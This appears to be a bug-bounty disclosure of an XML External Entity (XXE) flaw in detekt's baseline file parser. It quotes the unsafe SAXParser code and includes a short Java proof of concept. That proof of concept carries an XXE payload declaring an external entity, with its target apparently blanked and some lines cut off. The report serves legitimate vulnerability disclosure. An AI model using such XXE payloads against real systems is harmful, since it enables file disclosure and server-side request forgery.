Improper Restriction of XML External Entity Reference in detekt/detekt


Reported on

Jan 16th 2022


The read() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In

                val reader = SAXParserFactory.newInstance().newSAXParser()
                val handler = BaselineHandler()
                reader.parse(it, handler)

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;


public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {

Causes an SSRF to


This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

We are processing your report and will contact the detekt team within 24 hours. 4 months ago
We created a GitHub Issue asking the maintainers to create a 4 months ago
Chao Zhang validated this vulnerability 4 months ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
Chao Zhang confirmed that a fix has been merged on c965a8 a month ago
The fix bounty has been dropped
BaselineFormat.kt#L20-L22 has been validated
to join this conversation